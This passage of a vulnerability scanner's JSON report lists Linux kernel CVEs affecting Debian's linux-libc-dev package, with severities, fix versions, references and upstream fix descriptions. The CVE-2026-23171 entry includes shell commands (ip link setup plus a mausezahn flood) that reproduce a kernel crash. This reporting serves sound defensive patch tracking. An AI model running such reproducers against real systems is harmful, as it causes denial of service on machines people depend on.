"https://git.kernel.org/linus/06e219f6a706c367c93051f408ac61417643d2f9%20%286.19-rc4%29", "https://git.kernel.org/stable/c/06e219f6a706c367c93051f408ac61417643d2f9", "https://git.kernel.org/stable/c/0e766b77ba5093583dfe609fae0aa1545c46dbbd", "https://git.kernel.org/stable/c/b358fc6ff3b35a29f7f677da1c67af67d0d560cb", "https://git.kernel.org/stable/c/bc3305eeeee5d8e43005ad46e252991e46d10f33", "https://git.kernel.org/stable/c/ec2b34acb1894cfc10ed22d8277ca4f11e9f4b23", "https://linux.oracle.com/cve/CVE-2025-71152.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026012302-CVE-2025-71152-055a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71152", "https://ubuntu.com/security/notices/USN-8277-1", "https://ubuntu.com/security/notices/USN-8277-2", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2025-71152" ], "PublishedDate": "2026-01-23T15:16:06.05Z", "LastModifiedDate": "2026-10-30T13:18:26.257Z" }, { "VulnerabilityID": "CVE-2025-71221", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d38bc6e9c614023b9c1e28d8a091670d5e84319df38488f6826a0124107a2105", "Title": "kernel: Linux kernel: mmp_pdma vulnerability allows privilege escalation or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: mmp_pdma: Fix race condition in mmp_pdma_residue()\n\nAdd proper locking in mmp_pdma_residue() to prevent use-after-free when\naccessing descriptor list and descriptor contents.\n\nThe race occurs when multiple threads call tx_status() while the tasklet\non another CPU is freeing completed descriptors:\n\nCPU 0 CPU 1\n----- -----\nmmp_pdma_tx_status()\nmmp_pdma_residue()\n -\u003e NO LOCK held\n list_for_each_entry(sw, ..)\n DMA interrupt\n dma_do_tasklet()\n -\u003e spin_lock(\u0026desc_lock)\n list_move(sw-\u003enode, ...)\n spin_unlock(\u0026desc_lock)\n | dma_pool_free(sw) \u003c- FREED!\n -\u003e access sw-\u003edesc \u003c- UAF!\n\nThis issue can be reproduced when running dmatest on the same channel with\nmultiple threads (threads_per_chan \u003e 1).\n\nFix by protecting the chain_running list iteration and descriptor access\nwith the chan-\u003edesc_lock spinlock.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-71221", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/a143545855bc2c6e1330f6f57ae375ac44af00a7%20%286.19-rc6%29", "https://git.kernel.org/stable/c/3f0e0e2d9e752570041e95fd04635e2580097819", "https://git.kernel.org/stable/c/9f665b3c3d9a168410251f27a5d019b7bf93185c", "https://git.kernel.org/stable/c/a143545855bc2c6e1330f6f57ae375ac44af00a7", "https://git.kernel.org/stable/c/dfb5e05227745de43b7fd589721817a4337c970d", "https://git.kernel.org/stable/c/eba0c75670c022cb1f948600db972524bcfe8166", "https://git.kernel.org/stable/c/fc023b8fab057f0c910856ff36d3e12a30b7af4a", "https://lore.kernel.org/linux-cve-announce/2026021426-CVE-2025-71221-2987@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71221", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2025-71221" ], "PublishedDate": "2026-02-14T17:15:54.45Z", "LastModifiedDate": "2026-10-15T02:18:25.19Z" }, { "VulnerabilityID": "CVE-2026-100072", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-100072", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3e2fb92d292ed52210e0beb49c1a8dfa4f60fd592ffe133ac52c6cff2fb7bf59", "Title": "kernel: ACPI: platform: Use acpi_bus_get_primary_device()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: platform: Use acpi_bus_get_primary_device()\n\nThe acpi_get_first_physical_node() usage in acpi_platform_fill_resource()\nand acpi_create_platform_device() is generally unsafe because in theory\nthe device returned by it may be freed at any time [1].\n\nIt is also inefficient because acpi_get_first_physical_node() is called\nmultiple times for the same argument which can be avoided.\n\nAddress these issues by using acpi_bus_get_primary_device() instead of\nacpi_get_first_physical_node() and adjusting the code to call it just\nonce at the beginning of and acpi_create_platform_device() and drop\nthe device reference acquired by it upon the return from that function.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-100072", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-100072.mbox", "https://git.kernel.org/stable/c/527a497fb2ef77a95170eefe2007e2c4c957bd2c", "https://git.kernel.org/stable/c/a75e5de593ef158feb17989bff7730c5a3d82503", "https://git.kernel.org/stable/c/a9ba4dd2f18bf3f439d9ef0d8f375f90360ba1bd", "https://git.kernel.org/stable/c/c9d202d3b6c28e8c779cd2f2b10d2f7ab665ca71", "https://nvd.nist.gov/vuln/detail/CVE-2026-100072", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-100072" ], "PublishedDate": "2026-09-25T14:17:13.7Z", "LastModifiedDate": "2026-10-21T18:49:49.167Z" }, { "VulnerabilityID": "CVE-2026-23102", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23102", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fe11c9f1b4585699ef72db7bd21235e0b4e1f3c0595e78cbd2b2b8ac5e1a6664", "Title": "kernel: Linux kernel: Denial of Service due to incorrect SVE context restoration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64/fpsimd: signal: Fix restoration of SVE context\n\nWhen SME is supported, Restoring SVE signal context can go wrong in a\nfew ways, including placing the task into an invalid state where the\nkernel may read from out-of-bounds memory (and may potentially take a\nfatal fault) and/or may kill the task with a SIGKILL.\n\n(1) Restoring a context with SVE_SIG_FLAG_SM set can place the task into\n an invalid state where SVCR.SM is set (and sve_state is non-NULL)\n but TIF_SME is clear, consequently resuting in out-of-bounds memory\n reads and/or killing the task with SIGKILL.\n\n This can only occur in unusual (but legitimate) cases where the SVE\n signal context has either been modified by userspace or was saved in\n the context of another task (e.g. as with CRIU), as otherwise the\n presence of an SVE signal context with SVE_SIG_FLAG_SM implies that\n TIF_SME is already set.\n\n While in this state, task_fpsimd_load() will NOT configure SMCR_ELx\n (leaving some arbitrary value configured in hardware) before\n restoring SVCR and attempting to restore the streaming mode SVE\n registers from memory via sve_load_state(). As the value of\n SMCR_ELx.LEN may be larger than the task's streaming SVE vector\n length, this may read memory outside of the task's allocated\n sve_state, reading unrelated data and/or triggering a fault.\n\n While this can result in secrets being loaded into streaming SVE\n registers, these values are never exposed. As TIF_SME is clear,\n fpsimd_bind_task_to_cpu() will configure CPACR_ELx.SMEN to trap EL0\n accesses to streaming mode SVE registers, so these cannot be\n accessed directly at EL0. As fpsimd_save_user_state() verifies the\n live vector length before saving (S)SVE state to memory, no secret\n values can be saved back to memory (and hence cannot be observed via\n ptrace, signals, etc).\n\n When the live vector length doesn't match the expected vector length\n for the task, fpsimd_save_user_state() will send a fatal SIGKILL\n signal to the task. Hence the task may be killed after executing\n userspace for some period of time.\n\n(2) Restoring a context with SVE_SIG_FLAG_SM clear does not clear the\n task's SVCR.SM. If SVCR.SM was set prior to restoring the context,\n then the task will be left in streaming mode unexpectedly, and some\n register state will be combined inconsistently, though the task will\n be left in legitimate state from the kernel's PoV.\n\n This can only occur in unusual (but legitimate) cases where ptrace\n has been used to set SVCR.SM after entry to the sigreturn syscall,\n as syscall entry clears SVCR.SM.\n\n In these cases, the the provided SVE register data will be loaded\n into the task's sve_state using the non-streaming SVE vector length\n and the FPSIMD registers will be merged into this using the\n streaming SVE vector length.\n\nFix (1) by setting TIF_SME when setting SVCR.SM. This also requires\nensuring that the task's sme_state has been allocated, but as this could\ncontain live ZA state, it should not be zeroed. Fix (2) by clearing\nSVCR.SM when restoring a SVE signal context with SVE_SIG_FLAG_SM clear.\n\nFor consistency, I've pulled the manipulation of SVCR, TIF_SVE, TIF_SME,\nand fp_type earlier, immediately after the allocation of\nsve_state/sme_state, before the restore of the actual register state.\nThis makes it easier to ensure that these are always modified\nconsistently, even if a fault is taken while reading the register data\nfrom the signal context. I do not expect any software to depend on the\nexact state restored when a fault is taken while reading the context.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 3, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23102", "https://access.redhat.com/security/cve/CVE-2026-23102", "https://git.kernel.org/linus/d2907cbe9ea0a54cbe078076f9d089240ee1e2d9%20%286.19-rc7%29", "https://git.kernel.org/stable/c/7b5a52cf252a0d2e89787b645290ad288878f332", "https://git.kernel.org/stable/c/9bc3adba8c35119be80ab20217027720446742f2", "https://git.kernel.org/stable/c/ce820dd4e6e2d711242dc4331713b9bb4fe06d09", "https://git.kernel.org/stable/c/d2907cbe9ea0a54cbe078076f9d089240ee1e2d9", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-gihwsmze5rgw.toml", "https://lore.kernel.org/linux-cve-announce/2026020429-CVE-2026-23102-bafe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23102", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8570-1", "https://ubuntu.com/security/notices/USN-8570-2", "https://ubuntu.com/security/notices/USN-8594-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://www.cve.org/CVERecord?id=CVE-2026-23102" ], "PublishedDate": "2026-02-04T17:16:21.077Z", "LastModifiedDate": "2026-11-05T22:18:01.957Z" }, { "VulnerabilityID": "CVE-2026-23171", "VendorIDs": [ "DSA-6295-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23171", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e37e545ea6d865e7a9678035776dd9c9756d289842f01ec4a1666d8890271dd7", "Title": "kernel: Linux kernel: Use-after-free in bonding module can cause system crash or arbitrary code execution", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: fix use-after-free due to enslave fail after slave array update\n\nFix a use-after-free which happens due to enslave failure after the new\nslave has been added to the array. Since the new slave can be used for Tx\nimmediately, we can use it after it has been freed by the enslave error\ncleanup path which frees the allocated slave memory. Slave update array is\nsupposed to be called last when further enslave failures are not expected.\nMove it after xdp setup to avoid any problems.\n\nIt is very easy to reproduce the problem with a simple xdp_pass prog:\n ip l add bond1 type bond mode balance-xor\n ip l set bond1 up\n ip l set dev bond1 xdp object xdp_pass.o sec xdp_pass\n ip l add dumdum type dummy\n\nThen run in parallel:\n while :; do ip l set dumdum master bond1 1\u003e/dev/null 2\u003e\u00261; done;\n mausezahn bond1 -a own -b rand -A rand -B 1.1.1.1 -c 0 -t tcp \"dp=1-1023, flags=syn\"\n\nThe crash happens almost immediately:\n [ 605.602850] Oops: general protection fault, probably for non-canonical address 0xe0e6fc2460000137: 0000 [#1] SMP KASAN NOPTI\n [ 605.602916] KASAN: maybe wild-memory-access in range [0x07380123000009b8-0x07380123000009bf]\n [ 605.602946] CPU: 0 UID: 0 PID: 2445 Comm: mausezahn Kdump: loaded Tainted: G B 6.19.0-rc6+ #21 PREEMPT(voluntary)\n [ 605.602979] Tainted: [B]=BAD_PAGE\n [ 605.602998] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n [ 605.603032] RIP: 0010:netdev_core_pick_tx+0xcd/0x210\n [ 605.603063] Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 3e 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 6b 08 49 8d 7d 30 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 25 01 00 00 49 8b 45 30 4c 89 e2 48 89 ee 48 89\n [ 605.603111] RSP: 0018:ffff88817b9af348 EFLAGS: 00010213\n [ 605.603145] RAX: dffffc0000000000 RBX: ffff88817d28b420 RCX: 0000000000000000\n [ 605.603172] RDX: 00e7002460000137 RSI: 0000000000000008 RDI: 07380123000009be\n [ 605.603199] RBP: ffff88817b541a00 R08: 0000000000000001 R09: fffffbfff3ed8c0c\n [ 605.603226] R10: ffffffff9f6c6067 R11: 0000000000000001 R12: 0000000000000000\n [ 605.603253] R13: 073801230000098e R14: ffff88817d28b448 R15: ffff88817b541a84\n [ 605.603286] FS: 00007f6570ef67c0(0000) GS:ffff888221dfa000(0000) knlGS:0000000000000000\n [ 605.603319] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [ 605.603343] CR2: 00007f65712fae40 CR3: 000000011371b000 CR4: 0000000000350ef0\n [ 605.603373] Call Trace:\n [ 605.603392] \u003cTASK\u003e\n [ 605.603410] __dev_queue_xmit+0x448/0x32a0\n [ 605.603434] ? __pfx_vprintk_emit+0x10/0x10\n [ 605.603461] ? __pfx_vprintk_emit+0x10/0x10\n [ 605.603484] ? __pfx___dev_queue_xmit+0x10/0x10\n [ 605.603507] ? bond_start_xmit+0xbfb/0xc20 [bonding]\n [ 605.603546] ? _printk+0xcb/0x100\n [ 605.603566] ? __pfx__printk+0x10/0x10\n [ 605.603589] ? bond_start_xmit+0xbfb/0xc20 [bonding]\n [ 605.603627] ? add_taint+0x5e/0x70\n [ 605.603648] ? add_taint+0x2a/0x70\n [ 605.603670] ? end_report.cold+0x51/0x75\n [ 605.603693] ? bond_start_xmit+0xbfb/0xc20 [bonding]\n [ 605.603731] bond_start_xmit+0x623/0xc20 [bonding]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6153", "https://access.redhat.com/security/cve/CVE-2026-23171", "https://bugzilla.redhat.com/2376376", "https://bugzilla.redhat.com/2407333", "https://bugzilla.redhat.com/2439872", "https://bugzilla.redhat.com/2439886", "https://bugzilla.redhat.com/2439887", "https://bugzilla.redhat.com/2439900", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2439947", "https://bugzilla.redhat.com/show_bug.cgi?id=2376376", "https://bugzilla.redhat.com/show_bug.cgi?id=2407333", "https://bugzilla.redhat.com/show_bug.cgi?id=2439872", "https://bugzilla.redhat.com/show_bug.cgi?id=2439886", "https://bugzilla.redhat.com/show_bug.cgi?id=2439887", "https://bugzilla.redhat.com/show_bug.cgi?id=2439900", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2439947", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40096", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23144", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23171", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23209", "https://errata.almalinux.org/9/ALSA-2026-6153.html", "https://errata.rockylinux.org/RLSA-2026:6153", "https://git.kernel.org/linus/e9acda52fd2ee0cdca332f996da7a95c5fd25294%20%286.19-rc8%29", "https://git.kernel.org/stable/c/172dcb67dd35b162357df229d7806acc724cd469", "https://git.kernel.org/stable/c/2889d92c5f728351c9930c7996d22fe6e906e785", "https://git.kernel.org/stable/c/bd25b092a06a3e05f7e8bd6da6fa7318777d8c3d", "https://git.kernel.org/stable/c/c6ae2b978001065ca0e1d33d5cbf949efeff879e", "https://git.kernel.org/stable/c/e9acda52fd2ee0cdca332f996da7a95c5fd25294", "https://linux.oracle.com/cve/CVE-2026-23171.html", "https://linux.oracle.com/errata/ELSA-2026-6632.html", "https://lore.kernel.org/linux-cve-announce/2026021421-CVE-2026-23171-5a73@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23171", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8570-1", "https://ubuntu.com/security/notices/USN-8570-2", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8594-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://www.cve.org/CVERecord?id=CVE-2026-23171" ], "PublishedDate": "2026-02-14T16:15:57.353Z", "LastModifiedDate": "2026-10-30T13:18:34.05Z" }, { "VulnerabilityID": "CVE-2026-23208", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23208", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a93880f9a3a439ffd02ef586e74c28657877b97c602728f763ee4c074ce47b9", "Title": "kernel: ALSA: usb-audio: Prevent excessive number of frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Prevent excessive number of frames\n\nIn this case, the user constructed the parameters with maxpacksize 40\nfor rate 22050 / pps 1000, and packsize[0] 22 packsize[1] 23. The buffer\nsize for each data URB is maxpacksize * packets, which in this example\nis 40 * 6 = 240; When the user performs a write operation to send audio\ndata into the ALSA PCM playback stream, the calculated number of frames\nis packsize[0] * packets = 264, which exceeds the allocated URB buffer\nsize, triggering the out-of-bounds (OOB) issue reported by syzbot [1].\n\nAdded a check for the number of single data URB frames when calculating\nthe number of frames to prevent [1].\n\n[1]\nBUG: KASAN: slab-out-of-bounds in copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\nWrite of size 264 at addr ffff88804337e800 by task syz.0.17/5506\nCall Trace:\n copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\n prepare_playback_urb+0x953/0x13d0 sound/usb/pcm.c:1611\n prepare_outbound_urb+0x377/0xc50 sound/usb/endpoint.c:333", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23208", "https://git.kernel.org/linus/ef5749ef8b307bf8717945701b1b79d036af0a15%20%286.19-rc6%29", "https://git.kernel.org/stable/c/152fc4f7b4a8af1c0418d2722f3b2729799cc837", "https://git.kernel.org/stable/c/282aba56713bbc58155716b55ca7222b2d9cf3c8", "https://git.kernel.org/stable/c/480a1490c595a242f27493a4544b3efb21b29f6a", "https://git.kernel.org/stable/c/581821f4b2ecbf411027b0af82b561ee208f4ba4", "https://git.kernel.org/stable/c/62932d9ed639a9fa71b4ac1a56766a4b43abb7e4", "https://git.kernel.org/stable/c/81e4b0009f2acc841d77a24fd796528b0bf62c4e", "https://git.kernel.org/stable/c/ab0b5e92fc36ee82c1bd01fe896d0f775ed5de41", "https://git.kernel.org/stable/c/c4dc012b027c9eb101583011089dea14d744e314", "https://git.kernel.org/stable/c/d67dde02049e632ba58d3c44a164a74b6a737154", "https://git.kernel.org/stable/c/e0ed5a36fb3ab9e7b9ee45cd17f09f6d5f594360", "https://git.kernel.org/stable/c/ef5749ef8b307bf8717945701b1b79d036af0a15", "https://lore.kernel.org/linux-cve-announce/2026021439-CVE-2026-23208-cc9e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23208", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-23208" ], "PublishedDate": "2026-02-14T17:15:58.703Z", "LastModifiedDate": "2026-11-05T22:18:07.25Z" }, { "VulnerabilityID": "CVE-2026-23226", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23226", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1acbdd1cab60276005c9c752efaef8d9c68422216241bd9708d0e818b5876f73", "Title": "kernel: Linux kernel (ksmbd): Arbitrary code execution due to use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add chann_lock to protect ksmbd_chann_list xarray\n\nksmbd_chann_list xarray lacks synchronization, allowing use-after-free in\nmulti-channel sessions (between lookup_chann_list() and ksmbd_chann_del).\n\nAdds rw_semaphore chann_lock to struct ksmbd_session and protects\nall xa_load/xa_store/xa_erase accesses.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23226", "https://git.kernel.org/stable/c/36ef605c0395b94b826a8c8d6f2697071173de6e", "https://git.kernel.org/stable/c/43ad494ac6e940a8eabf25d5bd77bb3bb53b1153", 